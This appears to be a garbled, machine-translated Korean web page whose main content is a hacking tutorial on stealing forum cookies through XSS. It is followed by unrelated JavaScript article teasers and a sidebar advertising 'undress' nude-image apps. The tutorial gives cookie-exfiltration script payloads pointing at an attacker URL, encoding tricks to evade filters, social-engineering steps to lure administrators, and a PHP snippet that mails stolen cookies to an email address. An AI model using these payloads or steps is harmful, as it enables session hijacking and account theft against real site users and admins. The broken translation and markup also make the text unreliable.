예를 들어 XSS가 가능한 곳을 찾으면:
<script>alert(무슨 일이 있어도 팝업으로 표시)</script>
쿠키 스틸링 파일 받기 당신 자신.
다른 시청자가 우리가 디자인한 트랩을 탐색할 수 있도록 하는 것이 목적입니다
<script>document.location=http://URL.com/cookie.php?cookie='+escape( document.cookie) </script>
어떻게 하는지 더 말씀드릴 필요가 없습니다. .
이제 주로 JavaScript 실행을 숨기는 방법에 대해 이야기하겠습니다.
EXS를 보기 위해 매일 milw0rm.com에 가는 것이 익숙할 것입니다.
XSS 취약점의 EXP가 공개될 때마다 이를 악용합니다.
그런데 어떤 정보도 쿠키할 수 없는데 왜 그럴까요? .
Magic 및 PHPBB와 같은 대규모 포럼에는 모두 XSS 취약점이 있습니다.
내가 이것을 주었습니다
<script>document.location=http://URL.com/cookie.php?cookie='+escape(document.cookie) </script>> ;
은 Javascript 오류를 표시합니다.
두 가지 솔루션이 있습니다. 외부의 민감한 정보를 유니코드로 인코딩할 수 있습니다.
URL을 제공하세요: http://www.mikezilla.com/exp0012.html
인코딩을 통한 방법:
<script>eval(location.href="http://www.php1.cn/"><br/>위의 방법으로 문제가 해결되지 않으면 두 번째 방법을 사용하세요<br/> <br/> Javascript fromCharCode의 eval 함수<br/><br/>위에서 언급했듯이 일부 웹사이트는 유니코드로 인코딩될 수 있습니다<br/><br/>예를 들어 인코딩된 104, 116, 116, 112는 HTTP입니다<br/><br/>포럼에서 PHPWind에서 사용하는 WYSIWYG 편집기<br/><br/>와 같은 다른 편집기를 사용하는 경우 http://url.com을 직접 입력하면 <br/><br/>이 노출됩니다. URL 형식에 따라 변경하세요<br/><br/>예를 들어 COOKIE를 훔치는 웹사이트는 http://www.URL.com<br/><br/>다음과 같이 하겠습니다<br/>http: //www.url.com<br/><br/>물론 표시된 부분을 매력적인 정보로 대체하여 관리 및 클릭을 속일 수 있습니다. <br/><br/>이제 약간의 소셜 엔지니어링을 사용하는 것만으로도 충분합니다. 완료, 시작해 볼까요<br/><br/>1단계: 관리자가 우리가 구축한 트랩을 보고 클릭했습니다<br/><br/>2단계: Javascript가 성공적으로 실행되었습니다.<br/><br/>3단계 . : 쿠키를 훔치기 위해 훔친 COOKIE 파일 생성 <br/><br/> 4단계: URL 연결이 일반 텍스트이고 URL을 유니코드로 인코딩할 정도로 멍청할 수는 없습니다(여기서는 암호화되었다고 말하는 것이 관례입니다) http: //www.mikezilla.com/exp0012.html<br/><br/>5단계: 가로채는 쿠키 정보는 물론 일반 텍스트가 아닙니다. FireFox 쿠키 편집기<br/>를 사용하여 COOKIE를 교체하면 됩니다. CookieEditor 등의 다른 도구를 사용하세요. <br/><br/>개인적인 제안: 쿠키를 훔친다고 해서 반드시 쿠키 정보를 수집하기 위해 공간을 사용한다는 의미는 아닙니다<br/>예를 들어 쿠키를 수집하기 위해 메일함을 구성하는 것은 다음과 같습니다<br/><?<br/><br/>mail("hackeroo@hotmail.com ","쿠키 몬스터",$_REQUEST[쿠키]);<br/><br/>?><br/><html><br/><script> document.location=http://www.URL.com /'</script>
JavaScript 및 웹 : 핵심 기능 및 사용 사례Apr 18, 2025 am 12:19 AM웹 개발에서 JavaScript의 주요 용도에는 클라이언트 상호 작용, 양식 검증 및 비동기 통신이 포함됩니다. 1) DOM 운영을 통한 동적 컨텐츠 업데이트 및 사용자 상호 작용; 2) 사용자가 사용자 경험을 향상시키기 위해 데이터를 제출하기 전에 클라이언트 확인이 수행됩니다. 3) 서버와의 진실한 통신은 Ajax 기술을 통해 달성됩니다.
JavaScript 엔진 이해 : 구현 세부 사항Apr 17, 2025 am 12:05 AM보다 효율적인 코드를 작성하고 성능 병목 현상 및 최적화 전략을 이해하는 데 도움이되기 때문에 JavaScript 엔진이 내부적으로 작동하는 방식을 이해하는 것은 개발자에게 중요합니다. 1) 엔진의 워크 플로에는 구문 분석, 컴파일 및 실행; 2) 실행 프로세스 중에 엔진은 인라인 캐시 및 숨겨진 클래스와 같은 동적 최적화를 수행합니다. 3) 모범 사례에는 글로벌 변수를 피하고 루프 최적화, Const 및 Lets 사용 및 과도한 폐쇄 사용을 피하는 것이 포함됩니다.
Python vs. JavaScript : 학습 곡선 및 사용 편의성Apr 16, 2025 am 12:12 AMPython은 부드러운 학습 곡선과 간결한 구문으로 초보자에게 더 적합합니다. JavaScript는 가파른 학습 곡선과 유연한 구문으로 프론트 엔드 개발에 적합합니다. 1. Python Syntax는 직관적이며 데이터 과학 및 백엔드 개발에 적합합니다. 2. JavaScript는 유연하며 프론트 엔드 및 서버 측 프로그래밍에서 널리 사용됩니다.
Python vs. JavaScript : 커뮤니티, 라이브러리 및 리소스Apr 15, 2025 am 12:16 AMPython과 JavaScript는 커뮤니티, 라이브러리 및 리소스 측면에서 고유 한 장점과 단점이 있습니다. 1) Python 커뮤니티는 친절하고 초보자에게 적합하지만 프론트 엔드 개발 리소스는 JavaScript만큼 풍부하지 않습니다. 2) Python은 데이터 과학 및 기계 학습 라이브러리에서 강력하며 JavaScript는 프론트 엔드 개발 라이브러리 및 프레임 워크에서 더 좋습니다. 3) 둘 다 풍부한 학습 리소스를 가지고 있지만 Python은 공식 문서로 시작하는 데 적합하지만 JavaScript는 MDNWebDocs에서 더 좋습니다. 선택은 프로젝트 요구와 개인적인 이익을 기반으로해야합니다.
C/C에서 JavaScript까지 : 모든 것이 어떻게 작동하는지Apr 14, 2025 am 12:05 AMC/C에서 JavaScript로 전환하려면 동적 타이핑, 쓰레기 수집 및 비동기 프로그래밍으로 적응해야합니다. 1) C/C는 수동 메모리 관리가 필요한 정적으로 입력 한 언어이며 JavaScript는 동적으로 입력하고 쓰레기 수집이 자동으로 처리됩니다. 2) C/C를 기계 코드로 컴파일 해야하는 반면 JavaScript는 해석 된 언어입니다. 3) JavaScript는 폐쇄, 프로토 타입 체인 및 약속과 같은 개념을 소개하여 유연성과 비동기 프로그래밍 기능을 향상시킵니다.
JavaScript 엔진 : 구현 비교Apr 13, 2025 am 12:05 AM각각의 엔진의 구현 원리 및 최적화 전략이 다르기 때문에 JavaScript 엔진은 JavaScript 코드를 구문 분석하고 실행할 때 다른 영향을 미칩니다. 1. 어휘 분석 : 소스 코드를 어휘 단위로 변환합니다. 2. 문법 분석 : 추상 구문 트리를 생성합니다. 3. 최적화 및 컴파일 : JIT 컴파일러를 통해 기계 코드를 생성합니다. 4. 실행 : 기계 코드를 실행하십시오. V8 엔진은 즉각적인 컴파일 및 숨겨진 클래스를 통해 최적화하여 Spidermonkey는 유형 추론 시스템을 사용하여 동일한 코드에서 성능이 다른 성능을 제공합니다.
브라우저 너머 : 실제 세계의 JavaScriptApr 12, 2025 am 12:06 AM실제 세계에서 JavaScript의 응용 프로그램에는 서버 측 프로그래밍, 모바일 애플리케이션 개발 및 사물 인터넷 제어가 포함됩니다. 1. 서버 측 프로그래밍은 Node.js를 통해 실현되며 동시 요청 처리에 적합합니다. 2. 모바일 애플리케이션 개발은 재교육을 통해 수행되며 크로스 플랫폼 배포를 지원합니다. 3. Johnny-Five 라이브러리를 통한 IoT 장치 제어에 사용되며 하드웨어 상호 작용에 적합합니다.
Next.js (백엔드 통합)로 멀티 테넌트 SAAS 애플리케이션 구축Apr 11, 2025 am 08:23 AM일상적인 기술 도구를 사용하여 기능적 다중 테넌트 SaaS 응용 프로그램 (Edtech 앱)을 구축했으며 동일한 작업을 수행 할 수 있습니다. 먼저, 다중 테넌트 SaaS 응용 프로그램은 무엇입니까? 멀티 테넌트 SAAS 응용 프로그램은 노래에서 여러 고객에게 서비스를 제공 할 수 있습니다.
핫 AI 도구
Undresser.AI Undress
사실적인 누드 사진을 만들기 위한 AI 기반 앱
AI Clothes Remover
사진에서 옷을 제거하는 온라인 AI 도구입니다.
Undress AI Tool
무료로 이미지를 벗다
Clothoff.io
AI 옷 제거제
AI Hentai Generator
AI Hentai를 무료로 생성하십시오.
인기 기사
뜨거운 도구
MinGW - Windows용 미니멀리스트 GNU
이 프로젝트는 osdn.net/projects/mingw로 마이그레이션되는 중입니다. 계속해서 그곳에서 우리를 팔로우할 수 있습니다. MinGW: GCC(GNU Compiler Collection)의 기본 Windows 포트로, 기본 Windows 애플리케이션을 구축하기 위한 무료 배포 가능 가져오기 라이브러리 및 헤더 파일로 C99 기능을 지원하는 MSVC 런타임에 대한 확장이 포함되어 있습니다. 모든 MinGW 소프트웨어는 64비트 Windows 플랫폼에서 실행될 수 있습니다.
SublimeText3 영어 버전
권장 사항: Win 버전, 코드 프롬프트 지원!
SublimeText3 중국어 버전
중국어 버전, 사용하기 매우 쉽습니다.
Eclipse용 SAP NetWeaver 서버 어댑터
Eclipse를 SAP NetWeaver 애플리케이션 서버와 통합합니다.
PhpStorm 맥 버전
최신(2018.2.1) 전문 PHP 통합 개발 도구
